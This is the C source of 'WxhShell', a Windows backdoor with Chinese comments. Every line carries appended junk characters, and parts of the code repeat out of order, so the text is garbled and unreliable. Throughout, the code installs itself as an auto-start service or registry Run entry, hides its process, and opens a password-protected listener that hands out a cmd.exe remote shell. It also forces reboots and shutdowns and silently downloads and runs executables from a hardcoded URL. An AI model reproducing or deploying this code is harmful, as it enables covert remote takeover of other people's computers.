    if(Boot(SHUTDOWN)) c 1GP3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G<eJ0S  
    else { cOgtBEhn  
    closesocket(wsh); N-|Jj?c  
    ExitThread(0); *S4P'JSY  
    } 1hWz%c|  
    break; *2MTx   
    } n58jB:XR(  
  // 获取shell }+J@;:  
  case 's': { AF}"  
    CmdShell(wsh); tK H!xit  
    closesocket(wsh); B$Z!E%a;  
    ExitThread(0); XEEbmIO*<9  
    break; DeSTo9A}!  
  } s`YuH <8  
  // 退出 dFFqs&cQ  
  case 'x': { ^'4uTbxP_!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bYc qscW  
    CloseIt(wsh); ~B@o?8D]  
    break; c,wU?8Nc|$  
    } A~V\r<N j  
  // 离开 &L]*]Xz;  
  case 'q': { %5gJ6>@6Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zOdKB2_J7  
    closesocket(wsh); B;r$( 'UZ  
    WSACleanup(); !X8R  
    exit(1); R-fjxM*  
    break; GcCs}(eo  
        } JUFO.m^w  
  } w"iZn  
  } 6DW|O<k^j  
u_8 22Z  
  // 提示信息 QB,ad   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A#: c  
} jt--w"|-r  
  } HPKyAcS\  
;i :wY&  
  return; -%l, Zd9  
} q:EQ,  
B31-<w  
// shell模块句柄 t|QMS M?s  
int CmdShell(SOCKET sock) )\Q|}JV  
{ 4>C=:w  
STARTUPINFO si; iQ C&d_#  
ZeroMemory(&si,sizeof(si)); QvN <uxm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RgA4@J#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2(/ /slP  
PROCESS_INFORMATION ProcessInfo; 5udoZ >T  
char cmdline[]="cmd"; {WOfT6y+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d}cJ5 !d  
  return 0; >C&<dO#i  
} <9tG_  
&(^u19TKl  
// 自身启动模式 f+Li'?  
int StartFromService(void) Yj/nzTVJ[  
{ kQlcT"R  
typedef struct Ytwv=;h-  
{ z2V8NUn  
  DWORD ExitStatus; [<a%\:c m4  
  DWORD PebBaseAddress; To%*)a  
  DWORD AffinityMask; B2qq C-hw?  
  DWORD BasePriority; Nw& }qSN  
  ULONG UniqueProcessId; '/gwC7*-&  
  ULONG InheritedFromUniqueProcessId; WTv\HI2X !  
}   PROCESS_BASIC_INFORMATION; 6ilC#yyp  
Le:mMd= G  
PROCNTQSIP NtQueryInformationProcess; xWe1F2nY  
O[p^lr(B7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lT!$\E$1   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <O)X89dFM  
YkAWKCOni  
  HANDLE             hProcess; #]a51Vss  
  PROCESS_BASIC_INFORMATION pbi; l@/kPEh  
IBNQmVRrI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }\L !;6oy  
  if(NULL == hInst ) return 0; k+r9h'd   
b<V./rWIB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 't?7.#,6O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~nc([%!=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xXxh3 k\  
)^>XZ*eK  
  if (!NtQueryInformationProcess) return 0; +y4AUU:Q  
7O9hn2?e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~TFYlV  
  if(!hProcess) return 0; C9Z\G 3  
H?(SSL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J[Yg]6  
KW7? : x  
  CloseHandle(hProcess); q(tG bhQ  
ZWhmO=b!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O:=|b]t  
if(hProcess==NULL) return 0; l8AEEG8>  
eQax ZMU  
HMODULE hMod; zvb} p  
char procName[255]; ssyd8LC#  
unsigned long cbNeeded; i Kk"j   
FJ(B]n[>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zPh\3B  
Xz .Y-5)  
  CloseHandle(hProcess); `=}UFu  
fxoi<!|iGY  
if(strstr(procName,"services")) return 1; // 以服务启动 'Ywpdzz[  
wAl}:|+n  
  return 0; // 注册表启动 =Wk/q_.  
} ,WB_C\.#XN  
7}cDGdr  
// 主模块 [&pW&>p3  
int StartWxhshell(LPSTR lpCmdLine) |!?WQ[  
{ {pb9UUP2  
  SOCKET wsl; v]{uxlh  
BOOL val=TRUE; :EmQ_?(^  
  int port=0; euj8p:+X  
  struct sockaddr_in door; G]mWaA  
,c%K)KuPK.  
  if(wscfg.ws_autoins) Install(); E R]sDV  
$~,}yh;  
port=atoi(lpCmdLine); 4d e]?#=  
Yb%-tv:  
if(port<=0) port=wscfg.ws_port; I!@s6tG  
=%3b@}%HqS  
  WSADATA data; z{@R.'BD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 45+%K@@x  
/j' B\,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6mu<&m@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .;HIEj zq  
  door.sin_family = AF_INET; -!|WZ   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cZgMA8 F  
  door.sin_port = htons(port); )XP#W|;  
l 70,Jo?78  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,'C30A*p  
closesocket(wsl);  k6O. H  
return 1; \+iu@C  
} Ts(t:^  
yOWOU`y?  
  if(listen(wsl,2) == INVALID_SOCKET) { WDE e$k4.  
closesocket(wsl); ^Ue0mC7m  
return 1; @n7t?9Bx  
} (S  k#x  
  Wxhshell(wsl); 6X7s 4  
  WSACleanup(); ,\o<y|+`S  
-=$% {  
return 0; ieo|%N{'  
q]6_ rY.  
} {[2tG U9  
Gz>Lqd  
// 以NT服务方式启动 6ORY`Pe7P|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M%$ DT  
{ 'lhP!E_)q  
DWORD   status = 0; -B1YZ/.rz"  
  DWORD   specificError = 0xfffffff; P</s)"@  
~->Hlxze'K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G HD^%)T5^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l80bHp=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O)`fvpVU  
  serviceStatus.dwWin32ExitCode     = 0; CQdBf3q  
  serviceStatus.dwServiceSpecificExitCode = 0; x*.Ye 5Jb  
  serviceStatus.dwCheckPoint       = 0; aSOU#Csx  
  serviceStatus.dwWaitHint       = 0; \\ jIl3Z  
iQt!PMF.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 24|  
  if (hServiceStatusHandle==0) return; I4)Nb WQ  
NSw<t9Yi  
status = GetLastError(); )ll?-FZ   
  if (status!=NO_ERROR) tbq|,"  
{ <rNtY,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $ye^uu;Z  
    serviceStatus.dwCheckPoint       = 0; ||uZ bP@  
    serviceStatus.dwWaitHint       = 0; 3bWum  
    serviceStatus.dwWin32ExitCode     = status; v btAq^1  
    serviceStatus.dwServiceSpecificExitCode = specificError; I(pb-oY3!I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _=ugxL #eB  
    return; 2Ok?@ZdjA{  
  } tNU-2r   
8QV t, 'I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z^r |3;  
  serviceStatus.dwCheckPoint       = 0; OCCEL9d  
  serviceStatus.dwWaitHint       = 0; Y2<dM/b/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Xqn-R  
} [*Q-nZ/L  
uJgI<l'|e3  
// 处理NT服务事件,比如:启动、停止 [FGgkd}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "Nbos.a]5  
{ jZRhKT  
switch(fdwControl) <P1rqM9^  
{ r*chL&7  
case SERVICE_CONTROL_STOP: 9qpU@V!  
  serviceStatus.dwWin32ExitCode = 0; [[w2p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rp0|zP,5  
  serviceStatus.dwCheckPoint   = 0; _?.\Xc  
  serviceStatus.dwWaitHint     = 0; 1]j^d  
  { m4@MxQm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [B,'=,Hbs  
  } Ox^:)ii  
  return; ?4 qkDtm  
case SERVICE_CONTROL_PAUSE: ryg4h Hspl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; atyu/+U'}  
  break; 6UlF5pom  
case SERVICE_CONTROL_CONTINUE: Z'Q*L?E8M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >B_n/v3P(M  
  break; CZY7S*fL  
case SERVICE_CONTROL_INTERROGATE: O}C)~GU  
  break; .5.8;/ /  
}; < W*xshn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +dw!:P &  
} X D)  8?  
0z7L+2#b^  
// 标准应用程序主函数 ! RPb|1Y}+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U'y,YtF@  
{ qaG#;  
03([@d6<E  
// 获取操作系统版本 \gItZ}+c4}  
OsIsNt=GetOsVer(); WS:5MI,OL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B_ k2u  
o>F*Itr{  
  // 从命令行安装 *tc{vtuu~^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2+.18"rvi  
H-I{-Fm  
  // 下载执行文件 OR4!YVVQ  
if(wscfg.ws_downexe) { a }'->H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rk|a5-i  
  WinExec(wscfg.ws_filenam,SW_HIDE); "'a* [%  
} iY~rne"l  
02\JzBU  
if(!OsIsNt) { Qf xH9_  
// 如果时win9x,隐藏进程并且设置为注册表启动 nN aXp*J  
HideProc(); 7?nJ4x1  
StartWxhshell(lpCmdLine); .<#ATFmY  
} 4Po)xo  
else mI7~c;~  
  if(StartFromService()) <x0H@?f7  
  // 以服务方式启动 aXY -><  
  StartServiceCtrlDispatcher(DispatchTable); 0q,pi qjO  
else X}cZxlqc  
  // 普通方式启动 ?WpenUWk  
  StartWxhshell(lpCmdLine); y&oNv xG-  
y3eHF^K+$  
return 0; S1J<9xqSQ8  
} B=X,7  
T9syo/(  
8K{[2O7i)  
e ZLMP  
=========================================== &aG*k*  
wO.iKX;  
SDYv(^ f ,  
o.7{O,v  
A8DFm{})c  
u~1o(Zn =  
" 7N=-Y>$X  
+4qU>  
#include <stdio.h> j_cs;G: "  
#include <string.h> ymN!-x8q>'  
#include <windows.h> H'=(`  
#include <winsock2.h> a9U_ug58  
#include <winsvc.h> :G5RYi  
#include <urlmon.h> #VVr"*7$  
atF?OP|{,w  
#pragma comment (lib, "Ws2_32.lib") Kw5Lhc1V  
#pragma comment (lib, "urlmon.lib") f)Xr!7  
nFRsc'VT  
#define MAX_USER   100 // 最大客户端连接数 E?)656F[  
#define BUF_SOCK   200 // sock buffer +q<B.XxkA  
#define KEY_BUFF   255 // 输入 buffer Te,$M3|  
XORk!m|  
#define REBOOT     0   // 重启 i38[hQR9a  
#define SHUTDOWN   1   // 关机 ^aZAw%K  
YDC&u8  
#define DEF_PORT   5000 // 监听端口 t*XN_=E$f  
q MYe{{r  
#define REG_LEN     16   // 注册表键长度 3)=c]@N0  
#define SVC_LEN     80   // NT服务名长度 LiQgR 6j  
3AcD,,M>>  
// 从dll定义API 1O/ g&u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xdvh-%A4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %?Y[Bk3p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `D$Jv N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rN)V[5R#M  
"= / f$Xf  
// wxhshell配置信息 kgdT7  
struct WSCFG { >slm$~rv  
  int ws_port;         // 监听端口 q`NXJf=sc  
  char ws_passstr[REG_LEN]; // 口令 m!tx(XsXU  
  int ws_autoins;       // 安装标记, 1=yes 0=no [U, ?R  
  char ws_regname[REG_LEN]; // 注册表键名 ``VW;l{  
  char ws_svcname[REG_LEN]; // 服务名 ^5GW$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j=?'4sF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 An*~-u9m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1 rs&74-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \b=Pj!^gwb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $Fkaa<9;P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !~]<$WZV  
<_Z:'~Zp  
}; wr(*?p]R  
9^FziM  
// default Wxhshell configuration 8lF\v/vN  
struct WSCFG wscfg={DEF_PORT, 'H8(=9O1d  
    "xuhuanlingzhe", Y6i _!z[V[  
    1, YOr:sb   
    "Wxhshell", S"Lx%  
    "Wxhshell", *Xo]-cKL0  
            "WxhShell Service", mE`kjmX{E  
    "Wrsky Windows CmdShell Service", [r+ZE7$2b"  
    "Please Input Your Password: ", {@! Kx`(:  
  1, 'r1LSht'  
  "http://www.wrsky.com/wxhshell.exe", O$/o'"@ /  
  "Wxhshell.exe" xx{!3 F  
    }; n1 6 `y}  
m,C1J%{^  
// 消息定义模块 .itw04Uru  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jls-@Wl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vAY,E=&XvM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bVP"(H]  
char *msg_ws_ext="\n\rExit."; }_=eT]  
char *msg_ws_end="\n\rQuit.";  |@NiW\O  
char *msg_ws_boot="\n\rReboot..."; (=D&A<YX  
char *msg_ws_poff="\n\rShutdown..."; ARcB'z\r  
char *msg_ws_down="\n\rSave to "; -*5Rnx|Y{  
f&v9Q97=  
char *msg_ws_err="\n\rErr!"; 0TpK#OlI|c  
char *msg_ws_ok="\n\rOK!"; AJ#Nenmj  
O G<,- 7  
char ExeFile[MAX_PATH]; iq( )8nxi  
int nUser = 0; U9b?i$  
HANDLE handles[MAX_USER]; ODZ|bN0>  
int OsIsNt;  V#VN %{  
rE@T79"  
SERVICE_STATUS       serviceStatus; %HrAzM.QBF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q, O$ %-70  
dOa%9[  
// 函数声明 LL:_L<  
int Install(void); (#+^&1  
int Uninstall(void); vpmj||\-  
int DownloadFile(char *sURL, SOCKET wsh); A}eOFu`  
int Boot(int flag); cnTaJ/o  
void HideProc(void); pz"0J_xDM  
int GetOsVer(void); $DG?M6   
int Wxhshell(SOCKET wsl); 9 (QJT}qC  
void TalkWithClient(void *cs); sQkhwMg  
int CmdShell(SOCKET sock); H;RwO@v  
int StartFromService(void); 9a8cRt6knO  
int StartWxhshell(LPSTR lpCmdLine); ,v"YqD+GC5  
*}P~P$q%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W6Y]N/v3>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UX7t`l2R  
oq}'}`lw"  
// 数据结构和表定义 82l~G;.n3  
SERVICE_TABLE_ENTRY DispatchTable[] = 1I:+MBGin  
{ 41&\mx  
{wscfg.ws_svcname, NTServiceMain}, =>-Rnc@  
{NULL, NULL} -B +4+&{T  
}; % >=!p  
M3.do^ss  
// 自我安装 <Y}R#o1Z  
int Install(void) 9 AJ(&qY(  
{ 7 qS""f7  
  char svExeFile[MAX_PATH]; n rjE.+v  
  HKEY key; >7 ="8  
  strcpy(svExeFile,ExeFile); $&=S#_HQS  
JD|=>)  
// 如果是win9x系统,修改注册表设为自启动 ?` ?)QE8  
if(!OsIsNt) { 2'w?\{}D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +U3DG$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FYpzQ6s~  
  RegCloseKey(key); [@.!~E)P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m^zUmrj[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y+NN< EY@  
  RegCloseKey(key); y gz6C  
  return 0; tS6qWtE  
    } wfH^<jY)E  
  } a^I\ /&aw'  
} F'21jy&  
else { Bx< <~[Ws}  
*_d7E   
// 如果是NT以上系统,安装为系统服务 ;>Ib^ov  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :/nj@X6  
if (schSCManager!=0) EFM5,gB.m  
{ %iQD /iT5  
  SC_HANDLE schService = CreateService ~UP[A'9jJ  
  ( MDnua  
  schSCManager, ds<2I,t  
  wscfg.ws_svcname, 9dx/hFA  
  wscfg.ws_svcdisp, D9H?:pmv?  
  SERVICE_ALL_ACCESS, bKMy|_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K  &N  
  SERVICE_AUTO_START, ,?^ p(w  
  SERVICE_ERROR_NORMAL, ]>5/PD,wWy  
  svExeFile, a .k.n<  
  NULL, X}Ai -D  
  NULL, T4Pgbop  
  NULL, "ut39si  
  NULL, _l8 9  
  NULL I&x=;   
  ); L0TFo_  
  if (schService!=0) 4O^xY 6m  
  { 'a@/vx&J  
  CloseServiceHandle(schService); . 1Dg s=|  
  CloseServiceHandle(schSCManager); Swig;`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &w_j/nW^'  
  strcat(svExeFile,wscfg.ws_svcname); Ng2twfSl$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 12b(A+M   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L [pBB  
  RegCloseKey(key); m[~y@7AK<  
  return 0; P@V0Mi),  
    } 0ypNUG}   
  } aC8} d  
  CloseServiceHandle(schSCManager); lZ]ZDb?P  
} KQ% GIz x  
} ];[}:f  
T $>&[f$6  
return 1; 6]WAUK%h  
} vc;$-v$&  
R'as0 u\  
// 自我卸载 Z&+ g;(g  
int Uninstall(void) 61C7.EZZ;  
{ \/r}]Vz  
  HKEY key; H)kwQRfu  
7rc0yB  
if(!OsIsNt) { _Xe>V0   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tztu}t]N  
  RegDeleteValue(key,wscfg.ws_regname); c_$=-Khk  
  RegCloseKey(key); ?jv/TBZX4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -A^_{4X  
  RegDeleteValue(key,wscfg.ws_regname); !C ':  
  RegCloseKey(key); [Kg+^N% +  
  return 0; /L g)i\R;  
  } JE "x  
} 2j [=\K]  
} EIP /V  
else { 'urafE4M  
\h/H#j ZJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q_[o" wq/  
if (schSCManager!=0) r,73C/*&/  
{ V(I8=rVH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tKOmoC  
  if (schService!=0) ? =Z?6fw  
  { =7=]{Cx[  
  if(DeleteService(schService)!=0) { ,wb:dj-  
  CloseServiceHandle(schService); nfbR P t  
  CloseServiceHandle(schSCManager); S6DKREO  
  return 0; yLvDMPj  
  } ~g]Vw4pv  
  CloseServiceHandle(schService); z#wkiCRYm  
  } AlaW=leTe  
  CloseServiceHandle(schSCManager); w,.TTTad  
} I5 p ? [  
} sUO`uqZV  
vm8eZG|  
return 1; 0 1rK8jX  
} Jq-]7N%k/  
4SxX3Fw  
// 从指定url下载文件 W:2( .?  
int DownloadFile(char *sURL, SOCKET wsh) m.rmM`  
{ z2~ til  
  HRESULT hr; eF$x1|  
char seps[]= "/"; D;*SnU(9L  
char *token; eu-*?]&Di  
char *file; tXs\R(?T  
char myURL[MAX_PATH]; BL }\D;+t  
char myFILE[MAX_PATH]; zR:L! S  
=&]g "a'  
strcpy(myURL,sURL); ~qKY) "gG  
  token=strtok(myURL,seps); p8O2Z? \  
  while(token!=NULL) N:/D+L  
  { 1.GQau~  
    file=token; sY&IquK^  
  token=strtok(NULL,seps); Wqw1J=]  
  } U%QI a TN*  
T.BW H2gRP  
GetCurrentDirectory(MAX_PATH,myFILE); )7Wf@@R'F  
strcat(myFILE, "\\"); UB@+c k  
strcat(myFILE, file); uo 8YP<q  
  send(wsh,myFILE,strlen(myFILE),0); gR;i(81U  
send(wsh,"...",3,0); hL{KRRf>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FTUv IbT  
  if(hr==S_OK) YjKxb9  
return 0; ##>H&,Dp[  
else '-~~-}= sJ  
return 1; / zPO  
q>+k@>bk @  
} VY4yS*y  
?N9uu4  
// 系统电源模块  ZBp/sm  
int Boot(int flag) ?CPahU  
{ h*](a_0  
  HANDLE hToken;  x'<X!gw  
  TOKEN_PRIVILEGES tkp; gjDHo$  
b3, _(;A!  
  if(OsIsNt) { !Wnb|=j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1oGw4kD^x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `d}2O%P  
    tkp.PrivilegeCount = 1; W/h[A3 `3N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /h3RmUy   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s.C_Zf~3  
if(flag==REBOOT) { 4|DWOQ':  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M .mfw#*  
  return 0; [7Oe3=  
} N`e[:[  
else { zK@@p+n_#.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3 Za}b|  
  return 0; jNk%OrP]  
} xwo<' xT  
  } 0@oJFJrO  
  else { $xN|5;+  
if(flag==REBOOT) { Y$@?.)tY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C~/a-  
  return 0; /7YIn3  
} 4.t-i5  
else { 9\7en%(M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vdwsJPFbc  
  return 0; /j.9$H'y  
} jse&DQ  
} gg2( 5FPP  
9G2FsM|,  
return 1; Nj/ x. X  
} N;`n@9BF  
IH+|}z4N?>  
// win9x进程隐藏模块 Y.p;1"  
void HideProc(void) =rdV ]{Wc  
{ >XfbP]  
j0q&&9/Jj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;aVZ"~a+\  
  if ( hKernel != NULL ) U 6)#}   
  { N"ST@/j.A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); La[V$+Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); do'GlU oMC  
    FreeLibrary(hKernel); 493*{  
  } wUJcmM;  
5|)W.*Q  
return; "" EQE>d  
} cFXp  
S3J^,*'  
// 获取操作系统版本 I7 ]8Y=xf  
int GetOsVer(void) '~ 47)fN  
{ Zv{'MIv&v  
  OSVERSIONINFO winfo; <F'\lA9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *{5fq_  
  GetVersionEx(&winfo); gjlx~.0d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E"IZ6)Q  
  return 1; Q+{n-? :  
  else Q/Rqa5LI:  
  return 0; #w=~lq)9  
} yB!dp;gM{  
Pg{J{gn  
// 客户端句柄模块 VIbq:U  
int Wxhshell(SOCKET wsl) |N]XJ)?  
{ *m(=V1"  
  SOCKET wsh; l U]nd[x  
  struct sockaddr_in client; e|r`/:M  
  DWORD myID; # f\rt   
vP,n(reM  
  while(nUser<MAX_USER) !()Qm,1u  
{ o+VQ\1as?(  
  int nSize=sizeof(client); ?V=CB,^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~VB1OLgv#.  
  if(wsh==INVALID_SOCKET) return 1; W*Y/l~x}  
wuo,kM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;AG()NjOO:  
if(handles[nUser]==0) 6S{l' !s'  
  closesocket(wsh); xyxy`qRA  
else !'I8:v&D  
  nUser++; {4PwLCy  
  } Pzem{y7Ir  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nr3==21Om4  
+cRn%ioVi  
  return 0; rT>wg1:  
} 3(UVg!t  
'<uq3?5  
// 关闭 socket cH)";] k*-  
void CloseIt(SOCKET wsh) v` r:=K  
{ 47B&s   
closesocket(wsh); oL<St$1  
nUser--; "gwSJ~:ds  
ExitThread(0); 2Z%O7V~u  
} o !7va"  
i-&yH  
// 客户端请求句柄 6w77YTJ  
void TalkWithClient(void *cs) 5LMw?P.<  
{ Q59W#e)  
K> e7pu  
  SOCKET wsh=(SOCKET)cs; W{aY}`  
  char pwd[SVC_LEN]; `$NP> %J-  
  char cmd[KEY_BUFF]; b`_Q8 J  
char chr[1]; 048kPXm`  
int i,j; A2Tw<&Tw(  
hv+zGID7  
  while (nUser < MAX_USER) { xN(|A}w  
x)VJFuqy  
if(wscfg.ws_passstr) { Q@HV- (A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }~q5w{_n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J8D,ZfPN`d  
  //ZeroMemory(pwd,KEY_BUFF); .|=\z9_7S8  
      i=0; 9!tW.pK5  
  while(i<SVC_LEN) { 92-I~ !d  
F1hHe<)  
  // 设置超时 .p$(ZH =~  
  fd_set FdRead; B-ESFATc  
  struct timeval TimeOut; )}ROLe  
  FD_ZERO(&FdRead); YbLW/E\T  
  FD_SET(wsh,&FdRead); 2+O'9F_v  
  TimeOut.tv_sec=8; T 1t6p&  
  TimeOut.tv_usec=0; BORA(,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); },[}$m %  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vz[C=_m  
O9p|a%o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L8n|m!MOD  
  pwd=chr[0]; P>6{&(  
  if(chr[0]==0xd || chr[0]==0xa) { $]8Q(/mbK  
  pwd=0; tI{_y  
  break; MY/}-* |  
  } (I}v[W  
  i++; Np)lIGE  
    } XZwK6F)L  
*owU)  
  // 如果是非法用户,关闭 socket E!AE4B1bd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S@sO;-^+  
} '3H_wd  
QdC<Sk!G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vcd\GN*4f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2px|_)i  
]s748+  
while(1) { >OK^D+v"j  
v9UD%@tZ  
  ZeroMemory(cmd,KEY_BUFF); abEmRJTmW  
o`RKXfCq  
      // 自动支持客户端 telnet标准   bJ;'`sw1  
  j=0; snikn&  
  while(j<KEY_BUFF) { YAmb`CP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <^uBoKB/f  
  cmd[j]=chr[0]; EZ`{Wnbq  
  if(chr[0]==0xa || chr[0]==0xd) { VD\=`r)nT  
  cmd[j]=0; cs'{5!i]  
  break; cFWc<55aX6  
  } a@*\o+Su  
  j++; e~':(/%|5;  
    } u~-8d;+?y  
E+JqWR5  
  // 下载文件 Z(!\% mn  
  if(strstr(cmd,"http://")) { /H==Hm/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PiYxk+N  
  if(DownloadFile(cmd,wsh)) N.{D$"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); alvrh'51  
  else vZoaT|3 G]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l/awS!Q/nF  
  } ?K\axf>F  
  else { RdML3E  
nj53G67y  
    switch(cmd[0]) { # Vha7  
  }AH] th  
